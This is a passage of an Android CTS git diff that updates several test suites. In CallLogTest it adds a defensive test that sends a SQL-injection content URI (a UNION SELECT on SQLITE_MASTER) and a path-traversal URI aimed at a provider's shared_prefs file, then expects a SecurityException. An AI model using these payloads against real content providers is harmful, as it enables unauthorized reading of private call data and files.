+                || supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD)
+                || supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_OTHER))) {
             // no head tracking is supported, verify it is correctly reported by the API
+            Log.i(TAG, "no headtracking modes supported");
             assertEquals("When no head tracking mode supported, list of modes must be empty",
                     0, supportedModes.size());
-            // TODO: to be enforced
-            //assertEquals("Invalid mode when no head tracking mode supported",
-            //        Spatializer.HEAD_TRACKING_MODE_UNSUPPORTED, spat.getHeadTrackingMode());
-            Log.i(TAG, "no headtracking modes supported, stop test");
+            assertEquals("Invalid mode when no head tracking mode supported",
+                    Spatializer.HEAD_TRACKING_MODE_UNSUPPORTED, spat.getHeadTrackingMode());
+            // verify you can't enable head tracking on a device
+            final AudioDeviceAttributes device = new AudioDeviceAttributes(
+                    AudioDeviceAttributes.ROLE_OUTPUT, AudioDeviceInfo.TYPE_BLUETOOTH_A2DP, "bli");
+            spat.addCompatibleAudioDevice(device);
+            spat.setHeadTrackerEnabled(true, device);
+            assertFalse(spat.isHeadTrackerEnabled(device));
             return;
         }
         int trackingModeToUse;
@@ -390,6 +391,10 @@
             Log.i(TAG, "skipping testVirtualizerEnabled, no Spatializer");
             return;
         }
+        if (!spat.isAvailable()) {
+            Log.i(TAG, "skipping testVirtualizerEnabled, Spatializer not available");
+            return;
+        }
         boolean spatEnabled = spat.isEnabled();
         final MySpatStateListener stateListener = new MySpatStateListener();
 
@@ -416,12 +421,15 @@
         final MyHeadTrackerAvailable htAvailableListener = new MyHeadTrackerAvailable();
 
         assertThrows("null Executor allowed in addOnHeadTrackerAvailableListener",
-                IllegalArgumentException.class,
+                NullPointerException.class,
                 () -> spat.addOnHeadTrackerAvailableListener(null, htAvailableListener));
         assertThrows("null listener allowed in addOnHeadTrackerAvailableListener",
-                IllegalArgumentException.class,
+                NullPointerException.class,
                 () -> spat.addOnHeadTrackerAvailableListener(Executors.newSingleThreadExecutor(),
                         null));
+        spat.addOnHeadTrackerAvailableListener(
+                Executors.newSingleThreadExecutor(), htAvailableListener);
+
         final boolean enabled = spat.isEnabled();
         // verify that with spatializer disabled, the head tracker is not available
         if (!enabled) {
@@ -450,7 +458,7 @@
                     stateListener.getEnabled());
         }
         assertThrows("null listener allowed in removeOnHeadTrackerAvailableListener",
-                IllegalArgumentException.class,
+                NullPointerException.class,
                 () -> spat.removeOnHeadTrackerAvailableListener(null));
         spat.removeOnHeadTrackerAvailableListener(htAvailableListener);
         assertThrows("able to remove listener twice in removeOnHeadTrackerAvailableListener",
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java b/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
index 2d1d7cd..a28095f 100644
--- a/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
+++ b/tests/tests/media/misc/src/android/media/misc/cts/CamcorderProfileTest.java
@@ -16,6 +16,14 @@
 
 package android.media.misc.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
 import android.content.pm.PackageManager;
 import android.hardware.Camera;
 import android.hardware.Camera.Parameters;
@@ -28,13 +36,21 @@
 import android.media.MediaRecorder;
 import android.media.cts.NonMediaMainlineTest;
 import android.test.AndroidTestCase;
+import android.test.InstrumentationTestCase;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.Arrays;
 import java.util.List;
 
 @NonMediaMainlineTest
-public class CamcorderProfileTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class CamcorderProfileTest {
 
     private static final String TAG = "CamcorderProfileTest";
     private static final int MIN_HIGH_SPEED_FPS = 100;
@@ -400,7 +416,19 @@
                    ? "Checking get without id"
                    : "Checking get with id = " + cameraId);
 
-        final List<Size> videoSizes = getSupportedVideoSizes(cameraId);
+        Camera camera = null;
+        if (cameraId == -1) {
+            camera = Camera.open();
+            assumeTrue("Device does not have a back-facing camera", camera != null);
+        } else {
+            camera = Camera.open(cameraId);
+            assertNotNull("failed to open CameraId " + cameraId, camera);
+        }
+
+        final List<Size> videoSizes = getSupportedVideoSizes(camera);
+
+        camera.release();
+        camera = null;
 
         /**
          * Check all possible supported profiles: get profile should work, and the profile
@@ -496,26 +524,33 @@
                 specificHighSpeedProfileQualities, null);
     }
 
-    public void testGet() {
+    @Test
+    public void testGetFirstBackCamera() {
         /*
          * Device may not have rear camera for checkGet(-1).
          * Checking PackageManager.FEATURE_CAMERA is included or not to decide the flow.
          * Continue if the feature is included.
          * Otherwise, exit test.
          */
-        PackageManager pm = mContext.getPackageManager();
+        Context context = InstrumentationRegistry.getContext();
+        assertNotNull("did not find context", context);
+        PackageManager pm = context.getPackageManager();
+        assertNotNull("did not find package manager", pm);
         if (!pm.hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
             return;
         }
         checkGet(-1);
     }
 
+    @Test
     public void testGetWithId() {
         int nCamera = Camera.getNumberOfCameras();
+        Context context = InstrumentationRegistry.getContext();
+        assertNotNull("did not find context", context);
         for (int cameraId = 0; cameraId < nCamera; cameraId++) {
             boolean isExternal = false;
             try {
-                isExternal = CameraUtils.isExternal(mContext, cameraId);
+                isExternal = CameraUtils.isExternal(context, cameraId);
             } catch (Exception e) {
                 Log.e(TAG, "Unable to query external camera: " + e);
             }
@@ -526,15 +561,14 @@
         }
     }
 
-    private List<Size> getSupportedVideoSizes(int cameraId) {
-        Camera camera = (cameraId == -1)? Camera.open(): Camera.open(cameraId);
+    private List<Size> getSupportedVideoSizes(Camera camera) {
         Parameters parameters = camera.getParameters();
+        assertNotNull("Camera did not provide parameters", parameters);
         List<Size> videoSizes = parameters.getSupportedVideoSizes();
         if (videoSizes == null) {
             videoSizes = parameters.getSupportedPreviewSizes();
             assertNotNull(videoSizes);
         }
-        camera.release();
         return videoSizes;
     }
 
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index c75ad0c..ca7bf83 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1,3 +1 @@
-S
-Sv2
-Tiramisu
+13
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index 3127bed..b398aff 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -54,6 +54,7 @@
 import org.junit.Assume.assumeFalse
 import org.junit.Assume.assumeTrue
 import org.junit.Before
+import org.junit.Ignore
 import org.junit.Test
 import org.junit.runner.RunWith
 import java.io.Serializable
@@ -163,6 +164,7 @@
 
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
+    @Ignore("b/212535524")
     fun testRequestNotifications() {
         // Skip this test for Android TV due to NotificationAccessConfirmationActivity only exists
         // in Settings but not in TvSettings for Android TV devices (b/199224565).
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index fee9001..ab7a15d 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -33,6 +33,7 @@
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 import static com.android.server.job.nano.JobPackageHistoryProto.START_PERIODIC_JOB;
+import static com.android.server.job.nano.JobPackageHistoryProto.STOP_JOB;
 import static com.android.server.job.nano.JobPackageHistoryProto.STOP_PERIODIC_JOB;
 
 import static org.junit.Assert.assertFalse;
@@ -83,6 +84,7 @@
 import com.android.compatibility.common.util.ProtoUtils;
 import com.android.compatibility.common.util.mainline.MainlineModule;
 import com.android.compatibility.common.util.mainline.ModuleDetector;
+import com.android.modules.utils.build.SdkLevel;
 import com.android.server.job.nano.JobPackageHistoryProto;
 import com.android.server.job.nano.JobSchedulerServiceDumpProto;
 import com.android.server.job.nano.JobSchedulerServiceDumpProto.RegisteredJob;
@@ -315,7 +317,12 @@
         // We can't simply require startTime <= endTime because the time being reported isn't
         // accurate, and sometimes the end time may come before the start time by around 100 ms.
         eventually(() -> {
-            long stopTime = getLastJobTime(STOP_PERIODIC_JOB);
+            long stopTime;
+            if (SdkLevel.isAtLeastT()) {
+                stopTime = getLastJobTime(STOP_PERIODIC_JOB);
+            } else {
+                stopTime = getLastJobTime(STOP_JOB);
+            }
             assertTrue(stopTime + " !> " + beforeJob, stopTime > beforeJob);
         }, EXPECTED_TIMEOUT_MILLIS);
     }
diff --git a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
index 2843d75..95e3e55 100644
--- a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
@@ -51,6 +51,7 @@
 
     @Before
     fun install() {
+        SystemUtil.runShellCommand("pm uninstall $APP_PKG_NAME")
         SystemUtil.runShellCommand("pm install -r " +
                 TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK)
     }
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index c68b9dd..162f66a 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -6419,11 +6419,11 @@
 
     <!-- @SystemApi Must be required by a safety source to send an update using the
              {@link android.safetycenter.SafetyCenterManager}.
-             <p>Protection level: signature|privileged
+             <p>Protection level: internal|privileged
              @hide
         -->
     <permission android:name="android.permission.SEND_SAFETY_CENTER_UPDATE"
-                android:protectionLevel="signature|privileged" />
+                android:protectionLevel="internal|privileged" />
 
     <!-- @SystemApi Allows an application to launch device manager setup screens.
          <p>Not for use by third-party applications.
diff --git a/tests/tests/permission3/AndroidManifest.xml b/tests/tests/permission3/AndroidManifest.xml
index 31e7e71..2192d13 100644
--- a/tests/tests/permission3/AndroidManifest.xml
+++ b/tests/tests/permission3/AndroidManifest.xml
@@ -22,6 +22,7 @@
 
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.BLUETOOTH_CONNECT" />
 
     <application>
 
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index c197d47..bc3947f 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -96,7 +96,6 @@
         const val DENY_RADIO_BUTTON = "com.android.permissioncontroller:id/deny_radio_button"
 
         const val NOTIF_TEXT = "permgrouprequest_notifications"
-        const val NOTIF_CONTINUE_TEXT = "permgrouprequestcontinue_notifications"
         const val ALLOW_BUTTON_TEXT = "grant_dialog_button_allow"
         const val ALLOW_FOREGROUND_BUTTON_TEXT = "grant_dialog_button_allow_foreground"
         const val ALLOW_FOREGROUND_PREFERENCE_TEXT = "permission_access_only_foreground"
@@ -353,9 +352,7 @@
         }
 
         if (waitFindObjectOrNull(By.text(getPermissionControllerString(
-                NOTIF_CONTINUE_TEXT, APP_PACKAGE_NAME)), 1000) != null ||
-                waitFindObjectOrNull(By.text(getPermissionControllerString(
-                        NOTIF_TEXT, APP_PACKAGE_NAME)), 1000) != null) {
+                NOTIF_TEXT, APP_PACKAGE_NAME)), 1000) != null) {
             if (isAutomotive) {
                 click(By.text(getPermissionControllerString(ALLOW_BUTTON_TEXT)))
             } else {
@@ -598,7 +595,7 @@
                 button.click()
             }
 
-            val shouldShowStorageWarning = !isTv && !isWatch &&
+            val shouldShowStorageWarning = !isWatch &&
                 SdkLevel.isAtLeastT() && targetSdk <= Build.VERSION_CODES.S_V2 &&
                 permission in MEDIA_PERMISSIONS
             if (shouldShowStorageWarning) {
diff --git a/tests/tests/permission3/src/android/permission3/cts/NotificationPermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/NotificationPermissionTest.kt
index b29e99f..eeb3a71 100644
--- a/tests/tests/permission3/src/android/permission3/cts/NotificationPermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/NotificationPermissionTest.kt
@@ -55,7 +55,6 @@
 const val ACTIVITY_LABEL = "CreateNotif"
 const val SECOND_ACTIVITY_LABEL = "EmptyActivity"
 const val ALLOW = "to send you"
-const val CONTINUE_ALLOW = "to continue sending you"
 const val INTENT_ACTION = "usepermission.createchannels.MAIN"
 const val BROADCAST_ACTION = "usepermission.createchannels.BROADCAST"
 const val NOTIFICATION_PERMISSION_ENABLED = "notification_permission_enabled"
@@ -124,18 +123,8 @@
     }
 
     @Test
-    fun reviewRequiredClearedForTAppsOnLaunch() {
-        installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_33, expectSuccess = true)
-        setReviewRequired()
-        assertNotificationReviewRequiredState(shouldBeSet = true)
-        launchApp()
-        assertNotificationReviewRequiredState(shouldBeSet = false)
-    }
-
-    @Test
     fun notificationPromptShowsForLegacyAppAfterCreatingNotificationChannels() {
         installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_31, expectSuccess = true)
-        setReviewRequired()
         launchApp()
         clickPermissionRequestAllowButton()
     }
@@ -143,21 +132,12 @@
     @Test
     fun notificationPromptShowsForLegacyAppWithNotificationChannelsOnStart() {
         installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_31, expectSuccess = true)
-        setReviewRequired()
         // create channels, then leave the app
         launchApp()
         killTestApp()
         launchApp()
-        waitFindObject(By.textContains(CONTINUE_ALLOW))
-        clickPermissionRequestAllowButton()
-    }
-
-    @Test
-    fun nonReviewRequiredLegacyAppsDontShowContinuePrompt() {
-        installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_31, expectSuccess = true)
-        setReviewRequired(false)
-        launchApp()
         waitFindObject(By.textContains(ALLOW))
+        clickPermissionRequestAllowButton()
     }
 
     @Test
@@ -254,49 +234,11 @@
     }
 
     @Test
-    fun reviewRequiredNotClearedOnNonLauncherIntentCategoryLaunches() {
-        installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_33, expectSuccess = true)
-        setReviewRequired()
-        launchApp(launcherCategory = false)
-        assertNotificationReviewRequiredState(true)
-    }
-
-    @Test
-    fun reviewRequiredNotClearedOnNonMainIntentActionLaunches() {
-        installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_33, expectSuccess = true)
-        setReviewRequired()
-        launchApp(mainIntent = false)
-        assertNotificationReviewRequiredState(true)
-    }
-
-    @Test
-    fun reviewRequiredClearedIfActivityOptionSet() {
-        installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_33, expectSuccess = true)
-        setReviewRequired()
-        launchApp(isEligibleForPromptOption = true)
-        assertNotificationReviewRequiredState(false)
-    }
-
-    @Test
-    fun notificationGrantedAndReviewRequiredClearedOnLegacyGrant() {
+    fun notificationGrantedOnLegacyGrant() {
         installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_31, expectSuccess = true)
-        setReviewRequired()
         launchApp()
         clickPermissionRequestAllowButton()
         assertAppPermissionGrantedState(POST_NOTIFICATIONS, granted = true)
-        assertNotificationReviewRequiredState(shouldBeSet = false)
-    }
-
-    @Test
-    fun notificationReviewRequiredClearedOnLegacyDeny() {
-        installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_31, expectSuccess = true)
-        setReviewRequired()
-        launchApp()
-        clickPermissionRequestDenyButton()
-        waitForIdle()
-        SystemUtil.eventually {
-            assertNotificationReviewRequiredState(shouldBeSet = false)
-        }
     }
 
     @Test
@@ -367,23 +309,6 @@
     }
 
     @Test
-    fun reviewRequiredTAppsShowContinueMessage() {
-        installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_33, expectSuccess = true)
-        setReviewRequired(true)
-        assertNotificationReviewRequiredState(true)
-        launchApp(requestPermissions = true)
-        waitFindObject(By.textContains(CONTINUE_ALLOW))
-    }
-
-    @Test
-    fun nonReviewRequiredTAppsShowAllowMessage() {
-        installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_33, expectSuccess = true)
-        assertNotificationReviewRequiredState(false)
-        launchApp(requestPermissions = true)
-        waitFindObject(By.textContains(ALLOW))
-    }
-
-    @Test
     fun legacyAppCannotExplicitlyRequestNotifications() {
         installPackage(APP_APK_PATH_CREATE_NOTIFICATION_CHANNELS_31, expectSuccess = true)
         launchApp(createChannels = false, requestNotificationPermission = true)
@@ -404,27 +329,6 @@
         }
     }
 
-    private fun assertNotificationReviewRequiredState(shouldBeSet: Boolean) {
-        val flagSet = callWithShellPermissionIdentity {
-            (context.packageManager.getPermissionFlags(POST_NOTIFICATIONS,
-                APP_PACKAGE_NAME, Process.myUserHandle()) and FLAG_PERMISSION_REVIEW_REQUIRED) != 0
-        }
-        Assert.assertEquals("Unexpected REVIEW_REQUIRED state for POST_NOTIFICATIONS: ",
-            shouldBeSet, flagSet)
-    }
-
-    private fun setReviewRequired(set: Boolean = true) {
-        val flag = if (set) {
-            FLAG_PERMISSION_REVIEW_REQUIRED
-        } else {
-            0
-        }
-        runWithShellPermissionIdentity {
-            context.packageManager.updatePermissionFlags(POST_NOTIFICATIONS, APP_PACKAGE_NAME,
-                FLAG_PERMISSION_REVIEW_REQUIRED, flag, Process.myUserHandle())
-        }
-    }
-
     private fun launchApp(
         createChannels: Boolean = true,
         createChannelsDelayed: Boolean = false,
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index 5a1b7a0..b88fcf5 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -47,8 +47,7 @@
     // uncomment when b/140885436 is fixed
     // sdk_version: "test_current",
     min_sdk_version: "21",
-    //TODO(b/227617884): Change target_sdk_version to 33 after T SDK finalization is complete
-    target_sdk_version: "10000",
+    target_sdk_version: "33",
 
     platform_apis: true,
 
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
index 8c62f21..c2a2795 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/CallLogTest.java
@@ -30,6 +30,7 @@
 import android.os.ParcelFileDescriptor;
 import android.os.UserHandle;
 import android.provider.CallLog;
+import android.provider.CallLog.Calls;
 import android.provider.cts.R;
 import android.test.InstrumentationTestCase;
 import android.util.Pair;
@@ -43,20 +44,172 @@
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
 import java.io.InputStream;
+import java.util.HashMap;
+import java.util.Map;
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.Executors;
 import java.util.concurrent.TimeUnit;
 
 public class CallLogTest extends InstrumentationTestCase {
-
+    // Test Call Log Entry
     private static final String TEST_NUMBER = "5625698388";
+    private static final int TEST_DATE = 1000;
+    private static final int TEST_DURATION = 30;
+    // Test Voicemail Log Entry
+    private static final String TEST_VOICEMAIL_NUMBER = "1119871234";
+    private static final int TEST_VOCIEMAIL_DATE = 1;
+    private static final int TEST_VOICEMAIL_DURATION = 5;
+    // Timeout
     private static final long CONTENT_RESOLVER_TIMEOUT_MS = 5000;
+    // SQL Selection Column Names
+    private static final String SELECTION_TYPE = "type";
+    private static final String SELECTION_NUMBER = "number";
+    private static final String SELECTION_DATE = "date";
+    private static final String SELECTION_DURATION = "duration";
+    private static final String SELECTION_NEW = "new";
+    // SQL Selection as array
+    private static final String[] SELECTION =
+            new String[]{SELECTION_TYPE, SELECTION_NUMBER, SELECTION_DATE,
+                    SELECTION_DURATION, SELECTION_NEW};
+    // Test filter URI that throws Security Exception
+    private static final Uri INVALID_FILTER_URI = Uri.parse(
+            "content://call_log/calls/filter/test\uD83D')) union select type,name,"
+                    + "tbl_name,rootpage,sql FROM SQLITE_MASTER; --");
+    // Test call composer URI that throws Security Exception
     private static final Uri INVALID_CALL_LOG_URI = Uri.parse(
             "content://call_log/call_composer/%2fdata%2fdata%2fcom.android.providers"
                     + ".contacts%2fshared_prefs%2fContactsUpgradeReceiver.xml");
-
+    // Test Failure Error
     private static final String TEST_FAIL_DID_NOT_TRHOW_SE =
             "fail test because Security Exception was not throw";
+    // Instance vars
+    private ContentResolver mContentResolver;
+
+    // Class to objectify the call log data (returned from a Cursor object)
+    public class LogEntry {
+        // properties
+        public Integer type;
+        public String number;
+        public Integer date;
+        public Integer duration;
+        public Integer newCount;
+        public String extras;
+
+        // setter
+        public void setValue(String selectionColumn, String value) {
+            if (value == null) {
+                // Integer.valueOf(value) throws NumberFormatException if string is null.
+                // so return early if value is null.
+                return;
+            }
+            try {
+                switch (selectionColumn) {
+                    case SELECTION_TYPE:
+                        type = Integer.valueOf(value);
+                        break;
+                    case SELECTION_NUMBER:
+                        number = value;
+                        break;
+                    case SELECTION_DATE:
+                        date = Integer.valueOf(value);
+                        break;
+                    case SELECTION_DURATION:
+                        duration = Integer.valueOf(value);
+                        break;
+                    case SELECTION_NEW:
+                        newCount = Integer.valueOf(value);
+                        break;
+                    default:
+                        extras = value;
+                }
+            } catch (NumberFormatException e) {
+                // pass through
+            }
+        }
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        // Sets up this package as default dialer in super.
+        super.setUp();
+        mContentResolver = getInstrumentation().getContext().getContentResolver();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    /**
+     * Ensure that the existing query functionality still works.  To verify the functionality,
+     * this test adds a single call and voicemail entry to the logs, queries the logs,
+     * and asserts the entries are returned.
+     */
+    public void testPopulateAndQueryCallAndVoicemailLogs() {
+        try {
+            // needed in order to populate call log database
+            ShellUtils.runShellCommand("telecom set-default-dialer %s",
+                    getInstrumentation().getContext().getPackageName());
+
+            populateLogsWithDefaults();
+
+            // query and get cursor
+            Cursor cursor = mContentResolver
+                    .query(Calls.CONTENT_URI_WITH_VOICEMAIL, SELECTION, null, null);
+
+            // extract the data from the cursor and put the objects in a map
+            Map<String, LogEntry> entries = collectCursorEntries(cursor);
+
+            // cleanup
+            cursor.close();
+
+            // call entry
+            assertEquals(TEST_NUMBER, entries.get(TEST_NUMBER).number);
+            // voicemail entry
+            assertEquals(TEST_VOICEMAIL_NUMBER, entries.get(TEST_VOICEMAIL_NUMBER).number);
+        } finally {
+            //cleanup
+            deletePopulatedLogs();
+            ShellUtils.runShellCommand("telecom set-default-dialer default");
+        }
+    }
+
+    /**
+     * Test scenario where an app calls {@link ContentResolver#query} with an invalid URI.
+     *
+     * The URI is invalid because it attempts to bypass voicemail permissions and grab the voicemail
+     * log data without the proper voicemail permissions.
+     *
+     * Therefore, a Security Exception is thrown.
+     */
+    public void testInvalidQueryToCallLog() {
+        try {
+            // needed in order to populate call log database
+            ShellUtils.runShellCommand("telecom set-default-dialer %s",
+                    getInstrumentation().getContext().getPackageName());
+
+            populateLogsWithDefaults();
+
+            // drop voicemail permissions
+            ShellUtils.runShellCommand("telecom set-default-dialer default");
+
+            // query and get cursor  (expecting to hit Security Exception with call)
+            Cursor cursor = mContentResolver
+                    .query(INVALID_FILTER_URI, SELECTION, null, null);
+
+            // the previous line should throw an exception
+            fail(TEST_FAIL_DID_NOT_TRHOW_SE);
+        } catch (SecurityException e) {
+            // success...
+            assertNotNull(e.toString());
+        } finally {
+            //cleanup
+            ShellUtils.runShellCommand("telecom set-default-dialer %s",
+                    getInstrumentation().getContext().getPackageName());
+            deletePopulatedLogs();
+            ShellUtils.runShellCommand("telecom set-default-dialer default");
+        }
+    }
 
     /**
      * Tests scenario where an app gives {@link ContentResolver} a file to open that is not in the
@@ -297,4 +450,66 @@
         } catch (InterruptedException e) {
         }
     }
+
+    private ContentValues getDefaultValues(int type, String number, int date, int duration) {
+        ContentValues values = new ContentValues();
+        values.put(Calls.TYPE, type);
+        values.put(Calls.NUMBER, number);
+        values.put(Calls.NUMBER_PRESENTATION, Calls.PRESENTATION_ALLOWED);
+        values.put(Calls.DATE, date);
+        values.put(Calls.DURATION, duration);
+        values.put(Calls.NEW, 1);
+        return values;
+    }
+
+    private ContentValues getDefaultCallValues() {
+        return getDefaultValues(Calls.INCOMING_TYPE, TEST_NUMBER, TEST_DATE, TEST_DURATION);
+    }
+
+    private ContentValues getDefaultVoicemailValues() {
+        return getDefaultValues(Calls.VOICEMAIL_TYPE, TEST_VOICEMAIL_NUMBER, TEST_VOCIEMAIL_DATE,
+                TEST_VOICEMAIL_DURATION);
+    }
+
+    private void deletePopulatedLogs() {
+        // delete TEST_NUMBER in the call logs
+        mContentResolver.delete(CallLog.Calls.CONTENT_URI,
+                Calls.NUMBER + "=" + TEST_NUMBER, null);
+        // delete TEST_VOICEMAIL_NUMBER in the voicemail logs
+        mContentResolver.delete(Calls.CONTENT_URI_WITH_VOICEMAIL,
+                Calls.NUMBER + "=" + TEST_VOICEMAIL_NUMBER, null);
+        // cleanup extra entry created in this test that does not have a Calls.NUMBER
+        mContentResolver.delete(Calls.CONTENT_URI_WITH_VOICEMAIL,
+                Calls.DATE + "=" + "0", null);
+    }
+
+    private void populateLogsWithDefaults() {
+        // add call log entry
+        mContentResolver.insert(Calls.CONTENT_URI, getDefaultCallValues());
+        // add voicemail entry
+        mContentResolver.insert(Calls.CONTENT_URI_WITH_VOICEMAIL, getDefaultVoicemailValues());
+    }
+
+    /**
+     * Helper method for a test that wants to objectify the cursor data into LogEntry objects.
+     * NOTE: The key for the map is the phone number, so you can only store one object per number.
+     *
+     * @return all the data in the cursor in a LogEntry map
+     */
+    public Map<String, LogEntry> collectCursorEntries(Cursor cursor) {
+        Map<String, LogEntry> entries = new HashMap<>();
+        // iterate through every row in the cursor
+        while (cursor.moveToNext()) {
+            LogEntry e = new LogEntry();
+            // iterate through each column (should be the SELECTION given to query)
+            for (int i = 0; i < cursor.getColumnCount(); i++) {
+                e.setValue(cursor.getColumnName(i), cursor.getString(i));
+            }
+            // don't add if bad number (should never happen)
+            if (e.number != null || !e.number.isEmpty()) {
+                entries.put(e.number, e);
+            }
+        }
+        return entries;
+    }
 }
diff --git a/tests/tests/renderscript/Android.bp b/tests/tests/renderscript/Android.bp
index 4011075..1934bb6 100644
--- a/tests/tests/renderscript/Android.bp
+++ b/tests/tests/renderscript/Android.bp
@@ -23,6 +23,7 @@
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
     static_libs: [
+        "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "xmp_toolkit",
     ],
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java b/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
index 9ee194e..5a0b38f 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/ImageProcessingTest.java
@@ -16,6 +16,8 @@
 
 package android.renderscript.cts;
 
+import android.os.Build;
+
 import android.renderscript.Allocation;
 
 import android.renderscript.Byte2;
@@ -61,6 +63,8 @@
 import android.renderscript.ScriptIntrinsicLUT;
 import android.util.Log;
 
+import com.android.compatibility.common.util.PropertyUtil;
+
 public class ImageProcessingTest extends RSBaseCompute {
     private Allocation a1, a2;
 
@@ -177,10 +181,18 @@
         }
 
         // Do the same but passing LaunchOptions
-        int xStart = 10;
-        int xEnd = 20;
-        int yStart = 3;
-        int yEnd = 6;
+        int xStart = 0;
+        int xEnd = w;
+        int yStart = 0;
+        int yEnd = h;
+        // LaunchOptions tests with restricted range are new tests added in T, so only test them
+        // when the vendor partition has version >= T.
+        if (PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            xStart = 10;
+            xEnd = 20;
+            yStart = 3;
+            yEnd = 6;
+        }
         Script.LaunchOptions opt = new Script.LaunchOptions();
         opt.setX(xStart, xEnd).setY(yStart, yEnd);
         for (int i = 0; i < 14; i++) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
index 6639757..0d56172 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/IntrinsicResize.java
@@ -16,8 +16,10 @@
 
 package android.renderscript.cts;
 
+import android.os.Build;
 import android.renderscript.*;
 import android.util.Log;
+import com.android.compatibility.common.util.PropertyUtil;
 
 public class IntrinsicResize extends IntrinsicBase {
 
@@ -26,6 +28,12 @@
 
   private void testResize(int w, int h, Element.DataType dt, int vecSize, float scaleX, float scaleY, boolean useOpt) {
 
+        // The LaunchOptions tests are new tests added in T, so skip the tests if the vendor
+        // partition has an earlier version.
+        if (useOpt && !PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
+
         Element e = makeElement(dt, vecSize);
 
         System.gc();
